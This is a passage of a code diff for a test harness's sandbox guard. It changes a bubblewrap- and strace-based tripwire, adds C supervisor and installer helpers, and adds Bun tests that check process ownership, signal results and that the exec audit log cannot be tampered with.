mask;sigemptyset(&mask);sigaddset(&mask,signal);sigprocmask(SIG_UNBLOCK,&mask,0);kill(getpid(),signal);_exit(128+signal);} _exit(WIFEXITED(status)?WEXITSTATUS(status):125);} +static int mask_signals(sigset_t *previous){sigset_t mask;sigemptyset(&mask);sigaddset(&mask,SIGCHLD);for(size_t i=0;i1&&prctl(PR_SET_PDEATHSIG,SIGKILL,0,0,0)==0&&getppid()==expected?0:-1;} +static int await_child(pid_t child,int signals,int info,int terminal,int payload,int *trusted){ + int targetfd=-1,status=0,done=0;pid_t target=payload?child:0;int queued[64],queued_count=0;char text[16384];size_t used=0; + struct outcome result={0};size_t received=0; + if(target)targetfd=syscall(SYS_pidfd_open,target,0); + for(;;){ + pid_t waited=waitpid(child,&status,WNOHANG);if(waited==child)done=1;else if(waited<0&&errno!=EINTR)return -1; + struct pollfd descriptors[3]={{signals,POLLIN,0},{info,info>=0?POLLIN:0,0},{terminal,terminal>=0?POLLIN:0,0}}; + if(poll(descriptors,3,done?0:20)<0&&errno!=EINTR)return -1; + if(info>=0&&(descriptors[1].revents&(POLLIN|POLLHUP))){ + ssize_t n=read(info,text+used,sizeof(text)-used-1);if(n>0){used+=(size_t)n;text[used]=0;char *key=strstr(text,"\"child-pid\"");if(key&&!target){char *colon=strchr(key,':'),*end=0;long value=colon?strtol(colon+1,&end,10):0;if(value<=1||value>2147483647||!end)return -1;target=(pid_t)value;targetfd=syscall(SYS_pidfd_open,target,0);if(targetfd<0&&!done)return -1;}} + else if(n<0&&errno!=EINTR&&errno!=EAGAIN)return -1; + if(used==sizeof(text)-1&&!target)return -1; + } + if(terminal>=0&&(descriptors[2].revents&(POLLIN|POLLHUP))&&received0)received+=(size_t)n;else if(n<0&&errno!=EINTR&&errno!=EAGAIN)return -1; + } + if(descriptors[0].revents&POLLIN){struct signalfd_siginfo event;while(read(signals,&event,sizeof(event))==sizeof(event)){if(event.ssi_signo!=SIGCHLD){if(target){if(send_signal(targetfd,target,(int)event.ssi_signo)&&errno!=ESRCH)return -1;}else if(queued_count<64)queued[queued_count++]=(int)event.ssi_signo;else return -1;}}} + if(target){for(int i=0;i=0)close(targetfd);if(payload){*trusted=1;return status;} + if(received==sizeof(result)&&result.magic==STATUS_MAGIC&&result.code>=0&&result.code<=255&&result.signal>=0&&result.signal=(int)sizeof(event))return fail(); - phase="guard-files";if(readonly_bind(argv[4],argv[4])||readonly_bind(argv[3],argv[3])||mount(argv[2],event,0,MS_BIND,0)||mount(0,event,0,MS_BIND|MS_REMOUNT|MS_NOSUID|MS_NODEV,0))return fail(); - phase="runtime-masks";for(long i=0;i=3&&!strcmp(argv[1],"exec")){close(202);execvp(argv[2],argv+2);return errno==ENOENT?127:126;} + if(argc<4)return 125; + sigset_t previous;int signals=mask_signals(&previous);if(signals<0)return 125; + if(!strcmp(argv[1],"payload")){ + close(202);int terminal=atoi(argv[2]);if(terminal<3||fcntl(terminal,F_SETFD,FD_CLOEXEC)||parent_tie(getppid())||prctl(PR_SET_DUMPABLE,0,0,0,0))return 125; + pid_t owner=getpid(),child=fork();if(child<0)return 125; + if(!child){close(terminal);close(signals);if(parent_tie(owner))_exit(125);sigprocmask(SIG_SETMASK,&previous,0);execvp(argv[3],argv+3);_exit(errno==ENOENT?127:126);} + int trusted=0,status=await_child(child,signals,-1,-1,1,&trusted);if(status<0){kill(child,SIGKILL);waitpid(child,0,0);return 125;} + struct outcome result={STATUS_MAGIC,WIFEXITED(status)?WEXITSTATUS(status):0,WIFSIGNALED(status)?WTERMSIG(status):0};if(write(terminal,&result,sizeof(result))!=sizeof(result))return 125;close(terminal);return 0; + } + if(argc<5||strcmp(argv[1],"supervise")||strcmp(argv[3],"--"))return 125; + int audit=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(audit<0)return 125; + /* Do not overwrite any declared fixture descriptor. */ + if(fcntl(200,F_GETFD)>=0||fcntl(201,F_GETFD)>=0||fcntl(202,F_GETFD)>=0)return 125; + int info[2],terminal[2];if(pipe2(info,O_CLOEXEC|O_NONBLOCK)||pipe2(terminal,O_CLOEXEC|O_NONBLOCK))return 125; + if(prctl(PR_SET_DUMPABLE,0,0,0,0))return 125; + pid_t owner=getpid(),child=fork();if(child<0)return 125; + if(!child){ + close(info[0]);close(terminal[0]);if(dup2(info[1],200)<0||dup2(terminal[1],201)<0||dup2(audit,202)<0)_exit(125);close(info[1]);close(terminal[1]);close(audit);close(signals); + if(parent_tie(owner))_exit(125);sigprocmask(SIG_SETMASK,&previous,0);execvp(argv[4],argv+4);_exit(errno==ENOENT?127:126); + } + close(audit);close(info[1]);close(terminal[1]);int trusted=0,status=await_child(child,signals,info[0],terminal[0],0,&trusted); + if(!trusted){char event[4096];char *slash=strrchr(argv[2],'/');if(slash&&(size_t)(slash-argv[2])+7=0){const char record[]="{\"kind\":\"native-offline-boundary\",\"success\":false,\"nativeLaunched\":false,\"reason\":\"restriction cannot be enforced\"}\n";(void)write(fd,record,sizeof(record)-1);close(fd);}}} + if(status<0){kill(child,SIGKILL);waitpid(child,0,0);return 125;}result_exit(status); } `; try{ - for(const [target,source] of [[stub,stubSource],[launcher,launcherSource]]){ + for(const [target,source] of [[stub,stubSource],[installer,installerSource],[supervisor,supervisorSource]]){ const compiled=metadataSpawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",target!],{stdin:Buffer.from(source!),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin",LANG:"C"},timeout:30000}); if(compiled.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(compiled.stderr)));chmodSync(target!,0o555); } - tripwireRuntime={directory,stub,eventTarget,launcher}; + tripwireRuntime={directory,stub,eventTarget,installer,supervisor}; process.once("exit",()=>{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); return tripwireRuntime; }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} @@ -1754,21 +1813,24 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon resolveExecutable(command[0]!,options); const shared=prepareTripwireRuntime(),stub=shared.stub,directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),event=join(directory,"event"),log=join(directory,"exec.log"); writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); - let complete=false,failed=false,auditUnavailable=false,timer:ReturnType|undefined; + let complete=false,failed=false,auditUnavailable=false,disposing=false,timer:ReturnType|undefined;let forkOwner:{pid:number;start:string}|undefined; const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; const cleanup=()=>{clearInterval(timer);rmSync(directory,{recursive:true,force:true});}; try{ const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); - if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)||!auditAcl("set",workerUid,shared.directory,shared.stub)||!auditAcl("set",workerUid,shared.directory,shared.launcher)))refuse("restriction cannot be enforced"); + if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)||!auditAcl("set",workerUid,shared.directory,shared.stub)||!auditAcl("set",workerUid,shared.directory,shared.installer)))refuse("restriction cannot be enforced"); const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; - const namespace=(payload:readonly string[])=>[shared.launcher,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; - let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options); - const probeCommand=at>=0?[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]:namespace(["/usr/bin/true"]); + const install=(payload:readonly string[])=>[shared.installer,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; + let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options),productUnshare=unknownProductUnshare(argv,options); + const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); const tracePrefix=strace?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]:[]; + const forkOwnerFile=at===5&&argv[4]===NATIVE_FIXTURE_FORK_EXEC?join(directory,"fork-owner"):undefined; + const forkOwnerDeadline=Date.now()+5000; + if(forkOwnerFile)argv[4]='import os,sys\npid=os.fork()\nif pid: os._exit(0)\nfd=os.open('+JSON.stringify(forkOwnerFile+".tmp")+',os.O_WRONLY|os.O_CREAT|os.O_EXCL|os.O_NOFOLLOW,0o600)\nstart=open("/proc/self/stat").read().rsplit(") ",1)[1].split()[19]\nos.write(fd,(str(os.getpid())+" "+start).encode())\nos.close(fd)\nos.rename('+JSON.stringify(forkOwnerFile+".tmp")+','+JSON.stringify(forkOwnerFile)+')\nos.execvp(sys.argv[1],sys.argv[1:])'; if(at>=0){ // The proven status prefix executes before masking. Shell startup hooks or // imported functions would invalidate that exact-code proof. @@ -1779,6 +1841,10 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon // Keep diagnostic tooling outside the product view. A private /tmp may // hide a locally installed tracer, while the actual payload still sees masks. argv=[...tracePrefix,...argv]; + }else if(productUnshare){ + const shell=1+nativeProductNamespaceWrappers[0].prefix.length; + argv=[...argv.slice(0,shell),...install([...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"exec",...argv.slice(shell)])]; + // No tracer, mapper or helper child exists before the product's own fork. }else { // Move only a literal status-FIFO open before the user namespace. No fixture // script runs until after mounting, and no /proc path is reopened within it. @@ -1794,7 +1860,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon statusIdentity={source:source!,dev:fifo!.dev,ino:fifo!.ino}; argv[2]=argv[2]!.slice(prefix.length); } - argv=[...tracePrefix,...namespace(argv)]; + argv=[shared.supervisor,"supervise",log,"--",bwrap,"--unshare-user","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--json-status-fd","200","--die-with-parent","--cap-drop","ALL","--",...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"payload","201",...argv]; if(fifo)argv=["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"',"brain-test-status-carrier",source!,...argv]; } const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; @@ -1819,12 +1885,18 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon }catch{diagnosticUnavailable();} }; if(!strace)diagnosticUnavailable(); - timer=setInterval(()=>inspect(),20);timer.unref(); - // A daemonized tracer preserves the original parent exit and detached-child - // lifetime. A final owner-exit read covers detached evidence without retaining - // launch polling timers after disposal. - const finish=()=>{if(complete)return;complete=true;inspect(true);cleanup();tripwireFinalizers.delete(finish);}; - tripwireFinalizers.add(finish); + const ownerLive=():boolean=>{ + if(!forkOwnerFile)return false; + if(!forkOwner){ + try{const info=lstatSync(forkOwnerFile),text=readFileSync(forkOwnerFile,"utf8"),match=/^([1-9][0-9]*) ([1-9][0-9]*)$/.exec(text);if(!info.isFile()||info.uid!==nativeKernelIdentity().uid||info.nlink!==1||info.size>128||!match)throw Error("invalid fork owner");forkOwner={pid:Number(match[1]),start:match[2]!};} + catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT"&&Date.now(){if(complete)return;if(!force&&ownerLive()){disposing=true;return;}complete=true;inspect(true);cleanup();tripwireFinalizers.delete(forceFinish);}; + const forceFinish=()=>finish(true);tripwireFinalizers.add(forceFinish); + timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; diff --git a/tests/native-product-keeper.test.ts b/tests/native-product-keeper.test.ts new file mode 100644 index 0000000000..c4a26e9af0 --- /dev/null +++ b/tests/native-product-keeper.test.ts @@ -0,0 +1,37 @@ +/** Product-owned keeper PID topology, no installed model runtime executes. */ +import {expect,test} from "bun:test"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +import {watchdogMs} from "../scripts/test-deadlines"; +const repo=join(import.meta.dir,".."); +test("40 product unshare keeper observations retain the product's sole child",async()=>{ + const code=`import {spyOn} from "bun:test";import * as fs from "node:fs";import {join} from "node:path";import {spawn} from "node:child_process"; + import {createOutputStagingStorage} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {nativeUnknownBoundary,nativeProductNamespaceWrappers} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; + const root=fs.mkdtempSync("/tmp/brain-startup-input-"),lower=join(root,"startup-Ithaca/brain");fs.mkdirSync(lower,{recursive:true});let command; + const capture=spyOn(Bun,"spawn").mockImplementation(argv=>{command=[...argv];throw Error("CAPTURE_PRODUCT_KEEPER");}); + try{createOutputStagingStorage({allowanceBytes:4194304,budgetBytes:4194304},lower);}catch(error){if(error.message!=="CAPTURE_PRODUCT_KEEPER")throw error;}finally{capture.mockRestore();} + if(!command||!command[0].endsWith("/unshare")||command[11]!==nativeProductNamespaceWrappers[0].script)throw Error("REAL_PRODUCT_UNSHARE_PLAN_REQUIRED"); + const mount=command[14];fs.mkdirSync(mount);let observations=0; + try{for(let iteration=0;iteration<40;iteration++){ + const plan=nativeUnknownBoundary(command,{env:{}});let child,out="",err="",first; + try{ + plan.beforeLaunch();child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});const closed=child.exited;const stdout=(async()=>{for await(const chunk of child.stdout)out+=new TextDecoder().decode(chunk);})(),stderr=(async()=>{for await(const chunk of child.stderr)err+=new TextDecoder().decode(chunk);})(); + const deadline=Date.now()+5000; + while(!out.includes("ready")){ + try{const kids=fs.readFileSync('/proc/'+child.pid+'/task/'+child.pid+'/children','utf8').trim().split(/\\s+/).filter(Boolean).map(Number); + if(kids.length>1)throw Error("NO_INTERMEDIATE_KEEPER_CHILD"); + if(kids.length){if(first!==undefined&&first!==kids[0])throw Error("NO_INTERMEDIATE_KEEPER_CHILD");first=kids[0];} + }catch(error){if(!["ENOENT","ESRCH"].includes(error.code))throw error;} + if(Date.now()>deadline||child.exitCode!==null)throw Error("PRODUCT_KEEPER_READY_REQUIRED "+err);await new Promise(resolve=>setTimeout(resolve,1)); + } + const kids=fs.readFileSync('/proc/'+child.pid+'/task/'+child.pid+'/children','utf8').trim().split(/\\s+/).filter(Boolean).map(Number); + if(kids.length!==1||kids[0]!==first)throw Error("NO_INTERMEDIATE_KEEPER_CHILD"); + if(fs.realpathSync('/proc/'+child.pid+'/exe')!==fs.realpathSync('/usr/bin/unshare')||fs.realpathSync('/proc/'+first+'/exe')!==fs.realpathSync('/bin/sh'))throw Error("PRODUCT_OWNS_KEEPER_PROCESS"); + if(fs.statfsSync('/proc/'+first+'/root'+mount).type!==0x01021994)throw Error("REAL_KEEPER_TMPFS_REQUIRED"); + child.stdin.write("go\\n");child.stdin.end();await closed;await stdout;await stderr;if(child.exitCode!==0)throw Error("PRODUCT_KEEPER_EXIT_REQUIRED "+err);observations++; + }finally{child?.kill("SIGKILL");child?.stdin?.end();plan.dispose();} + }console.log(JSON.stringify({observations}));}finally{fs.rmSync(mount,{recursive:true,force:true});fs.rmSync(root,{recursive:true,force:true});}`; + const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"NO_INTERMEDIATE_KEEPER_CHILD "+err).toBe(0);expect(JSON.parse(out),"FORTY_OF_FORTY_PRODUCT_KEEPERS").toEqual({observations:40}); +},watchdogMs(60000)); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index 640abee406..6800c6676e 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -2,6 +2,7 @@ import {expect,test} from "bun:test"; import {join} from "node:path"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +import {watchdogMs} from "../scripts/test-deadlines"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); for(const mode of ["loop","positional","eval","stdin","nested","nested-implicit"] as const)test(`unknown tripwire preserves ${mode} fixture behavior`,async()=>{ const code=`import {nativeWorkerClassification} from ${JSON.stringify(guard)}; @@ -58,7 +59,7 @@ for(const spelling of ["target","alias"] as const)test(`unknown computed ${spell }); test("unknown restriction unavailable refuses before returning a launch plan",async()=>{ - const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/namespace")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); + const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/bwrap")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); const code=unavailableDiscovery+` const bin=root+"/bin";fs.mkdirSync(bin);fs.symlinkSync("/usr/bin/false",bin+"/bwrap");fs.symlinkSync(Bun.which("strace"),bin+"/strace"); const which=Bun.which;Bun.which=(name,options)=>name==="bwrap"?bin+"/bwrap":which(name,options); @@ -97,7 +98,8 @@ for(const shape of ["fork","status"] as const)for(const changed of [false,true]) try{ plan=guard.nativeUnknownBoundary(command,{env}); if(${changed})throw Error("UNPROVEN_SUPERVISOR_MUST_REFUSE_BEFORE_LAUNCH"); - const start=plan.argv.indexOf(command[0]);if(start<0||!command.slice(0,5).every((value,index)=>plan.argv[start+index]===value)||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); + const start=plan.argv.indexOf(command[0]);if(start<0||!command.slice(0,shape==="fork"?4:5).every((value,index)=>plan.argv[start+index]===value)||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); + if(shape==="fork"&&(!plan.argv[start+4].includes("/fork-owner")||!plan.argv[start+4].endsWith("os.execvp(sys.argv[1],sys.argv[1:])")))throw Error("OWNED_FORK_REGISTRATION_PRECEDES_THE_SAME_EXEC"); let out="",err="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err})); }finally{plan?.dispose();status.close();fs.rmSync(root,{recursive:true,force:true});} guard.assertNoNativeRefusals();`; @@ -132,7 +134,7 @@ test("an incomplete cancelled exec audit does not refuse an unknown launch",asyn const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); let out="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve)); if(exit||out!=="Ithaca")throw Error("HARMLESS_LAUNCH_REQUIRED"); - const log=plan.argv[plan.argv.indexOf("-o")+1];fs.writeFileSync(log,'1 execve("/usr/bin/printf", \\n');plan.dispose();guard.assertNoNativeRefusals();fs.rmSync(root,{recursive:true,force:true});console.log("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY");`; + const log=plan.argv.find(path=>path.endsWith("/exec.log"));fs.writeFileSync(log,'1 execve("/usr/bin/printf", \\n');plan.dispose();guard.assertNoNativeRefusals();fs.rmSync(root,{recursive:true,force:true});console.log("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY");`; const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY "+err).toBe(0);expect(out).toContain("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY"); expect(err,"UNKNOWN_AUDIT_UNAVAILABLE_IS_RECORDED").toContain('"kind":"native-offline-unknown-exec-audit"');expect(err).not.toContain('"kind":"native-offline-boundary"'); @@ -167,7 +169,7 @@ test("the unknown payload cannot rewrite the guard-side exec audit",async()=>{ const code=fixtureDiscovery+` const script='import os,sys,errno\\ntry: open(os.environ["ODYSSEUS_AUDIT_LOG"],"w").close()\\nexcept OSError as error:\\n assert error.errno==errno.EROFS\\n print("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY")\\n sys.exit(0)\\nraise AssertionError("UNKNOWN_PAYLOAD_REWROTE_EXEC_AUDIT")'; const command=["/bin/sh","-c",'exec "$@"',"fixture","/usr/bin/python3","-I","-S","-c",script],plan=guard.nativeUnknownBoundary(command,{env:process.env}); - plan.env.ODYSSEUS_AUDIT_LOG=plan.argv[plan.argv.indexOf("-o")+1];plan.beforeLaunch();let out="",err=""; + plan.env.ODYSSEUS_AUDIT_LOG=plan.argv.find(path=>path.endsWith("/exec.log"));plan.beforeLaunch();let out="",err=""; try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err}));}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,err).toBe(0);const result=JSON.parse(out);expect(result.exit,"UNKNOWN_AUDIT_LOG_CANNOT_BE_REWRITTEN "+result.err).toBe(0);expect(result.out).toContain("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY"); @@ -214,22 +216,55 @@ test("completed unknown launches remove their private directories and reuse one const result=JSON.parse(out);expect(result.launches).toBe(4);expect((await import("node:fs")).existsSync(result.shared),"SHARED_STUB_REMOVED_AT_PROCESS_EXIT").toBe(false); }); -for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell keeps its caller PID and closes stdout on ${signal}`,async()=>{ +for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell preserves payload lifetime and closes stdout on ${signal}`,async()=>{ const code=fixtureDiscovery+` - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'printf "%s\\n" "$$"; IFS= read -r go'],{env:process.env}); - try{ - const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["pipe","pipe","pipe"]});let out="",err=""; + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'printf "%s\\n" "$$"; while :; do /bin/sleep 0.1; done'],{env:process.env}); + let child,payloadPid,payloadStart,watchdog;try{ + child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["pipe","pipe","pipe"]});let out="",err=""; const ready=new Promise(resolve=>child.stdout.on("data",chunk=>{out+=chunk;if(out.includes("\\n"))resolve();}));child.stderr.on("data",chunk=>err+=chunk); const closed=new Promise(resolve=>child.once("close",(code,signal)=>resolve({code,signal}))); - await ready;if(Number(out.trim())!==child.pid)throw Error("CALLER_PID_IS_ITS_SHELL_PAYLOAD"); - if(fs.realpathSync("/proc/"+child.pid+"/exe")!==fs.realpathSync("/bin/sh"))throw Error("CALLER_PROC_EXE_IS_ITS_PAYLOAD"); - if(fs.readlinkSync("/proc/"+child.pid+"/ns/mnt")===fs.readlinkSync("/proc/self/ns/mnt"))throw Error("CALLER_PROC_MNT_IS_THE_MASKED_PAYLOAD_VIEW"); - const marker=root+"/caller-root";fs.writeFileSync(marker,"Ithaca");if(fs.readFileSync("/proc/"+child.pid+"/root"+marker,"utf8")!=="Ithaca")throw Error("CALLER_PROC_ROOT_IS_ITS_PAYLOAD_VIEW"); - child.kill(${JSON.stringify(signal)});const result=await closed; + await ready;payloadPid=Number(out.trim());payloadStart=fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").split(" ")[19];if(!Number.isSafeInteger(payloadPid)||payloadPid<=1)throw Error("ACTUAL_PAYLOAD_PID_REQUIRED"); + if(fs.realpathSync("/proc/"+payloadPid+"/exe")!==fs.realpathSync("/bin/sh"))throw Error("CALLER_PROC_EXE_IS_ITS_PAYLOAD"); + if(fs.readlinkSync("/proc/"+payloadPid+"/ns/mnt")===fs.readlinkSync("/proc/self/ns/mnt"))throw Error("CALLER_PROC_MNT_IS_THE_MASKED_PAYLOAD_VIEW"); + const marker=root+"/caller-root";fs.writeFileSync(marker,"Ithaca");if(fs.readFileSync("/proc/"+payloadPid+"/root"+marker,"utf8")!=="Ithaca")throw Error("CALLER_PROC_ROOT_IS_ITS_PAYLOAD_VIEW"); + child.kill(${JSON.stringify(signal)});const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>reject(Error("SIGKILL_CLOSES_PAYLOAD_STDOUT")),${watchdogMs(5000)});})]);clearTimeout(watchdog); if(result.signal!==${JSON.stringify(signal)})throw Error("PAYLOAD_SIGNAL_BEHAVIOR_MATCHES_MAIN "+JSON.stringify(result)); - try{fs.statSync("/proc/"+child.pid);throw Error("KILLED_SHELL_MUST_BE_GONE");}catch(error){if(error.code!=="ENOENT")throw error;} + try{const state=fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").trim().split(/\\s+/);if(state[19]===payloadStart&&!["Z","X"].includes(state[0]))throw Error("KILLED_SHELL_MUST_BE_KERNEL_DEAD");}catch(error){if(error.code!=="ENOENT")throw error;} console.log("CALLER_PID_AND_EOF_MATCH_MAIN"); - }finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + }finally{clearTimeout(watchdog);if(payloadPid>1)try{if(fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").split(" ")[19]===payloadStart)process.kill(payloadPid,"SIGKILL");}catch{}child?.kill("SIGKILL");child?.stdin?.destroy();plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"CALLER_PID_AND_EOF_MATCH_MAIN "+err).toBe(0);expect(out).toContain("CALLER_PID_AND_EOF_MATCH_MAIN"); }); + +for(const mode of ["term-trap","self-signal"] as const)test(`unknown signal result matches the unguarded payload: ${mode}`,async()=>{ + const code=fixtureDiscovery+` + const mode=${JSON.stringify(mode)},script=mode==="term-trap"?'i=1; trap "printf trapped; exit 23" TERM; printf "ready\\n"; IFS= read -r go':'i=1; kill -SEGV $$'; + async function run(argv,env){const c=spawn(argv[0],argv.slice(1),{env,stdio:["pipe","pipe","pipe"]});let out="",err="";const closed=new Promise(resolve=>c.once("close",(code,signal)=>resolve({code,signal})));c.stdout.on("data",chunk=>{out+=chunk;if(mode==="term-trap"&&out.includes("ready\\n"))c.kill("SIGTERM");});c.stderr.on("data",chunk=>err+=chunk);let watchdog;try{const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>{c.kill("SIGKILL");reject(Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN"));},${watchdogMs(5000)});})]);return {...result,out,err};}finally{clearTimeout(watchdog);}} + const original=await run(["/bin/sh","-c",script],process.env),plan=guard.nativeUnknownBoundary(["/bin/sh","-c",script],{env:process.env}); + try{const guarded=await run(plan.argv,plan.env);if(JSON.stringify(guarded)!==JSON.stringify(original))throw Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN 